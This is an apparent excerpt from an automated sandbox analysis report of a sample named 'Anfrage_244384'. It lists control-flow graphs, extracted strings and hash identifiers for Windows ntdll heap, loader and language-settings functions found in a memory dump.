call 346b9020 RtlDebugPrintTimes 291->294 292->294 309 34719a21-34719a3b 293->309 310 34719a3d-34719a58 293->310 294->186 315 347198f5-347198f7 294->315 297->298 304 347199b7-347199b9 297->304 298->256 305 34719cd9-34719cdc 299->305 306 34719cde-34719ce4 299->306 304->256 305->262 306->273 312 34719ce6 306->312 313 34719a5d-34719a8b RtlDebugPrintTimes 309->313 310->313 311->238 312->262 313->186 317 34719a91-34719a97 313->317 315->266 317->243
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: $ $0
                                                        • API String ID: 3446177414-3352262554
                                                        • Opcode ID: a6d530347a1ca0f261d01aa33f11f8df816983889794aed5015801d8372e5ea7
                                                        • Instruction ID: cd93f6d91c93b9480ccfa7a0b50f8d0d24279bf4e452b4ae68673c1ffcff0569
                                                        • Opcode Fuzzy Hash: a6d530347a1ca0f261d01aa33f11f8df816983889794aed5015801d8372e5ea7
                                                        • Instruction Fuzzy Hash: 5D3203B16083818FE310CF69C484B9BBBE5BB88344F14492EF59A8B350DB75D94ACF56
                                                        Function 34720274 Relevance: 16.1, APIs: 1, Strings: 8, Instructions: 348timeCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 922 34720274-34720296 call 346c7e54 925 347202b5-347202cd call 346676b2 922->925 926 34720298-347202b0 RtlDebugPrintTimes 922->926 931 347202d3-347202e9 925->931 932 347206f7 925->932 930 34720751-34720760 926->930 933 347202f0-347202f2 931->933 934 347202eb-347202ee 931->934 935 347206fa-3472074e call 34720766 932->935 936 347202f3-3472030a 933->936 934->936 935->930 938 34720310-34720313 936->938 939 347206b1-347206ba GetPEB 936->939 938->939 943 34720319-34720322 938->943 941 347206d9-347206de call 3466b970 939->941 942 347206bc-347206d7 GetPEB call 3466b970 939->942 950 347206e3-347206f4 call 3466b970 941->950 942->950 947 34720324-3472033b call 3467ffb0 943->947 948 3472033e-34720351 call 34720cb5 943->948 947->948 956 34720353-3472035a 948->956 957 3472035c-34720370 call 3466758f 948->957 950->932 956->957 961 347205a2-347205a7 957->961 962 34720376-34720382 GetPEB 957->962 961->935 965 347205ad-347205b9 GetPEB 961->965 963 347203f0-347203fb 962->963 964 34720384-34720387 962->964 966 34720401-34720408 963->966 967 347204e8-347204fa call 346827f0 963->967 968 347203a6-347203ab call 3466b970 964->968 969 34720389-347203a4 GetPEB call 3466b970 964->969 970 34720627-34720632 965->970 971 347205bb-347205be 965->971 966->967 972 3472040e-34720417 966->972 987 34720590-3472059d call 347211a4 call 34720cb5 967->987 988 34720500-34720507 967->988 985 347203b0-347203d1 call 3466b970 GetPEB 968->985 969->985 970->935 973 34720638-34720643 970->973 975 347205c0-347205db GetPEB call 3466b970 971->975 976 347205dd-347205e2 call 3466b970 971->976 980 34720438-3472043c 972->980 981 34720419-34720429 972->981 973->935 982 34720649-34720654 973->982 995 347205e7-347205fb call 3466b970 975->995 976->995 991 3472044e-34720454 980->991 992 3472043e-3472044c call 346a3bc9 980->992 981->980 989 3472042b-34720435 call 3472dac6 981->989 982->935 990 3472065a-34720663 GetPEB 982->990 985->967 1016 347203d7-347203eb 985->1016 987->961 997 34720512-3472051a 988->997 998 34720509-34720510 988->998 989->980 1001 34720682-34720687 call 3466b970 990->1001 1002 34720665-34720680 GetPEB call 3466b970 990->1002 1004 34720457-34720460 991->1004 992->1004 1017 347205fe-34720608 GetPEB 995->1017 1007 34720538-3472053c 997->1007 1008 3472051c-3472052c 997->1008 998->997 1023 3472068c-347206ac call 347186ba call 3466b970 1001->1023 1002->1023 1014 34720472-34720475 1004->1014 1015 34720462-34720470 1004->1015 1020 3472053e-34720551 call 346a3bc9 1007->1020 1021 3472056c-34720572 1007->1021 1008->1007 1018 3472052e-34720533 call 3472dac6 1008->1018 1024 34720477-3472047e 1014->1024 1025 347204e5 1014->1025 1015->1014 1016->967 1017->935 1028 3472060e-34720622 1017->1028 1018->1007 1039 34720563 1020->1039 1040 34720553-34720561 call 3469fe99 1020->1040 1027 34720575-3472057c 1021->1027 1023->1017 1024->1025 1026 34720480-3472048b 1024->1026 1025->967 1026->1025 1032 3472048d-34720496 GetPEB 1026->1032 1027->987 1033 3472057e-3472058e 1027->1033 1028->935 1037 347204b5-347204ba call 3466b970 1032->1037 1038 34720498-347204b3 GetPEB call 3466b970 1032->1038 1033->987 1047 347204bf-347204dd call 347186ba call 3466b970 1037->1047 1038->1047 1045 34720566-3472056a 1039->1045 1040->1045 1045->1027 1047->1025
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                                        • API String ID: 3446177414-1700792311
                                                        • Opcode ID: 4ea2ab9bbcbaf79928d5b6ca7b0a5c3597a8a14486e027fac5a020e93d4d296f
                                                        • Instruction ID: 6ba3fc65dca35a1b8528d2d61662fc8d31e4b052cb4045a4959186e112e9fd8c
                                                        • Opcode Fuzzy Hash: 4ea2ab9bbcbaf79928d5b6ca7b0a5c3597a8a14486e027fac5a020e93d4d296f
                                                        • Instruction Fuzzy Hash: F5D1DC35500685DFEB01CF68C444AAABBF6FF4A714F04805DE546AF752CB39A981CF68
                                                        Function 3466D34C Relevance: 12.8, Strings: 10, Instructions: 312COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$H/i4$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
                                                        • API String ID: 0-254365235
                                                        • Opcode ID: 8be59d076ca706a609c21528669ca80f4511fd2a1f2610fdd16b4199f7edd8d3
                                                        • Instruction ID: 65df8cb386e01be9498c4ee026326c957528c7112e025e6e8c1a1b6dba1e7a54
                                                        • Opcode Fuzzy Hash: 8be59d076ca706a609c21528669ca80f4511fd2a1f2610fdd16b4199f7edd8d3
                                                        • Instruction Fuzzy Hash: AFB17BB56083519FE711CF24C880B5BB7E9EB98758F41492EF88AE7241DB34DD488B92
                                                        Function 3471F525 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
                                                        • API String ID: 3446177414-1745908468
                                                        • Opcode ID: 668b5cd83473d9252476a06e29c490b3490cbd992cbd540df4fe6aa35f40cdd3
                                                        • Instruction ID: 9eb34445816de4f35ef3d39e70e7074dec2cf84bd5eac8f1fef9ae5f81ac0e5c
                                                        • Opcode Fuzzy Hash: 668b5cd83473d9252476a06e29c490b3490cbd992cbd540df4fe6aa35f40cdd3
                                                        • Instruction Fuzzy Hash: EE91BC75A00641DFEB01CF68C440AA9BBF6FF4A714F54805EE445AB762CB399982CF18
                                                        Function 347212ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
                                                        • API String ID: 0-3591852110
                                                        • Opcode ID: 92e19378af6d3e561266649884844f69b83dcd2f1f1b67f8a646d6e4128441a0
                                                        • Instruction ID: d2d04afbebddffcbf5a323add8b1acbf3f835be9147a53227fbf9bb2060fc80a
                                                        • Opcode Fuzzy Hash: 92e19378af6d3e561266649884844f69b83dcd2f1f1b67f8a646d6e4128441a0
                                                        • Instruction Fuzzy Hash: 54128B74600742EFE7158F25C494BAABBE6FF09714F54849DE4868FB42DB38E981CB90
                                                        Function 3466D08D Relevance: 11.5, Strings: 9, Instructions: 249COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • @, xrefs: 3466D313
                                                        • Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 3466D262
                                                        • @, xrefs: 3466D2AF
                                                        • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 3466D2C3
                                                        • Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 3466D146
                                                        • @, xrefs: 3466D0FD
                                                        • H/i4, xrefs: 346CA843
                                                        • Control Panel\Desktop\LanguageConfiguration, xrefs: 3466D196
                                                        • \Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3466D0CF
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$H/i4$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
                                                        • API String ID: 0-3399112313
                                                        • Opcode ID: a7dcd75d73d2a4379724c97ad77cbd19bc2321947e19fd2d3310bfd9eb9b88b0
                                                        • Instruction ID: 9a0410de4ee5d1f9714e77cfdda2d932c7dc01132b3c4f3211045799dee8c366
                                                        • Opcode Fuzzy Hash: a7dcd75d73d2a4379724c97ad77cbd19bc2321947e19fd2d3310bfd9eb9b88b0
                                                        • Instruction Fuzzy Hash: 98A17EB1908345DFE721CF25C884B5BB7E8FB84769F40492EE589A6241D778D908CF93
                                                        Function 34681070 Relevance: 11.4, APIs: 2, Strings: 4, Instructions: 940timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
                                                        • API String ID: 3446177414-3570731704
                                                        • Opcode ID: 067fd79ab44660c5cbf1835e58cabc364a4278c097afa4798ecca6e0af6efdb5
                                                        • Instruction ID: f4c9972dc0677e7f1aa8520b180e3c389a11e94ba7e638cff115b892059fd95e
                                                        • Opcode Fuzzy Hash: 067fd79ab44660c5cbf1835e58cabc364a4278c097afa4798ecca6e0af6efdb5
                                                        • Instruction Fuzzy Hash: 86925875A01368CFEB24CF18CC50B99B7B6BF45354F0582EAD949AB291DB309E80CF56
                                                        Function 3471FD78 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
                                                        • API String ID: 3446177414-3492000579
                                                        • Opcode ID: 80d022e84400972ca519a996731301eab7130957a8200f5393ebdf360db1b08e
                                                        • Instruction ID: 038bf724ad42e473cf08da4f7c691d882c0dc7ca3cf085e6e3936bef6c6290b6
                                                        • Opcode Fuzzy Hash: 80d022e84400972ca519a996731301eab7130957a8200f5393ebdf360db1b08e
                                                        • Instruction Fuzzy Hash: 0171DE71A01684DFEB01CF68C440AADFBF6FF4A714F04805AE445AB352CB799986CB58
                                                        Function 3469D7B0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RtlDebugPrintTimes.NTDLL ref: 3469D959
                                                          • Part of subcall function 34674859: RtlDebugPrintTimes.NTDLL ref: 346748F7
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 3446177414-1975516107
                                                        • Opcode ID: a77c419e6173d8e170e2183daa68d7ff5b8f06017663fb0027c11bc3307424f5
                                                        • Instruction ID: ec183ebc44b41a1312490f830fdcf345dbba831e71c00b152422617dc6bbc4c5
                                                        • Opcode Fuzzy Hash: a77c419e6173d8e170e2183daa68d7ff5b8f06017663fb0027c11bc3307424f5
                                                        • Instruction Fuzzy Hash: 8051BBB5A00345DFEB04DFA4C6847DDBBF2FB48354F244169D8046B292D7B8A882CF95
                                                        Function 34709179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
                                                        • API String ID: 0-3063724069
                                                        • Opcode ID: 3de12fde0d2c6153ce8dec387a632115a895c5bf84a1ecbe61d8521ace836df6
                                                        • Instruction ID: a50128cddbeb66fcc060bd1791b663c61892a37491a173f86e55a28c8c7cdf9e
                                                        • Opcode Fuzzy Hash: 3de12fde0d2c6153ce8dec387a632115a895c5bf84a1ecbe61d8521ace836df6
                                                        • Instruction Fuzzy Hash: 65D1A5F2806315AFE721CE54C840BABB7E9AF84754F41892DF984AB360D774C9488FD6
                                                        Function 3466F172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
                                                        • API String ID: 0-523794902
                                                        • Opcode ID: c99ae9d24fec4fa97d602c3a60e4385ea5be59d95b500296be77ec7ce120911e
                                                        • Instruction ID: e8a46ba32cef70095966fc2becda5f9bf94dbce060e4765bf2f79a6cf780473e
                                                        • Opcode Fuzzy Hash: c99ae9d24fec4fa97d602c3a60e4385ea5be59d95b500296be77ec7ce120911e
                                                        • Instruction Fuzzy Hash: A242D075208781DFE305CF28C484A5ABBE9FF98748F04496DE4868B752DB38EC45CB56
                                                        Function 346951EF Relevance: 7.9, Strings: 6, Instructions: 434COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: H/i4$Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
                                                        • API String ID: 0-759644102
                                                        • Opcode ID: a5989d1ab3e2f38073eb5b6123358a1e36b57555636b1ec34a61eeb9bba5f5bf
                                                        • Instruction ID: 656ef4891e074e5106c63b98f89974f6582e03d403d38189daa904356934fa47
                                                        • Opcode Fuzzy Hash: a5989d1ab3e2f38073eb5b6123358a1e36b57555636b1ec34a61eeb9bba5f5bf
                                                        • Instruction Fuzzy Hash: B3F14CB6D10218EFDF45CFA4C990ADEBBF9FF58A50F51006AE505A7210EB709E01CBA4
                                                        Function 3468B1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
                                                        • API String ID: 0-122214566
                                                        • Opcode ID: dbc31b53bb2ef1527f4dc2e3a5d7b8ce6161fa3cc1a53cbcfe646f548c0be38e
                                                        • Instruction ID: 0f5e67cdc32214d756d491511d2568b6efa86610e9a8d2cc9476c4f5ee1fe886
                                                        • Opcode Fuzzy Hash: dbc31b53bb2ef1527f4dc2e3a5d7b8ce6161fa3cc1a53cbcfe646f548c0be38e
                                                        • Instruction Fuzzy Hash: 9AC15571A00315EFEB148F64C891BBE7BA9AF56B14F14406DF825EB291EB74CC48C792
                                                        Function 34680770 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                                        • API String ID: 0-4253913091
                                                        • Opcode ID: a8907f48dffd376cd8c7e286eac9d44823e4d4b2385dc03617f72295133f8b05
                                                        • Instruction ID: 8b391d2e9b378c04cdcfa5295c0f3a500004b3e8d2a7beef7294f844835619d2
                                                        • Opcode Fuzzy Hash: a8907f48dffd376cd8c7e286eac9d44823e4d4b2385dc03617f72295133f8b05
                                                        • Instruction Fuzzy Hash: D4F1C974B00B05DFEB14CF68C8A4B6AB7B9FF45304F1185A8E5069B791DB34E981CB91
                                                        Function 3469F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 346E02BD
                                                        • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 346E02E7
                                                        • RTL: Re-Waiting, xrefs: 346E031E
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                        • API String ID: 0-2474120054
                                                        • Opcode ID: 71e7b2c374d52fac769f1b0dd6ce0d532dfdf2a8c95eff04e3ff0083b852e9fa
                                                        • Instruction ID: a5fa984d8307feac7637c3fe92bb38477923d8c1017eea532bae0016c9d3e849
                                                        • Opcode Fuzzy Hash: 71e7b2c374d52fac769f1b0dd6ce0d532dfdf2a8c95eff04e3ff0083b852e9fa
                                                        • Instruction Fuzzy Hash: 92E1BF74604741DFE714CF28C984B9AB7E8FB88364F110A5DF4A58B2D1DBB5D885CB42
                                                        Function 346F9C32 Relevance: 6.8, Strings: 5, Instructions: 542COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: @$AVRF: Verifier .dlls must not have thread locals$KnownDllPath$L$\KnownDlls32
                                                        • API String ID: 3446177414-3127649145
                                                        • Opcode ID: fdeacbaaf766aa3d3941c214359f2768bb3790e42b9f818483388826ff6ccf5c
                                                        • Instruction ID: d172a248774eac7144203679efc50565f8a1114e8c6c408660bfef4875e0726c
                                                        • Opcode Fuzzy Hash: fdeacbaaf766aa3d3941c214359f2768bb3790e42b9f818483388826ff6ccf5c
                                                        • Instruction Fuzzy Hash: E33257B4A007199FEB21CF65CC88B9AB7F8FF48704F1041EAE549A7650DB71AA84CF45
                                                        Function 3474B16B Relevance: 6.4, APIs: 4, Instructions: 450timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: 021a7d6f2255d6010ec83dda02b0a7edaa2c8982a8a5a069c77e640c65d700c7
                                                        • Instruction ID: 029042e5d5dccaa2a0eab699a33c534559f0c67f95d9280844f85d2cb293bcab
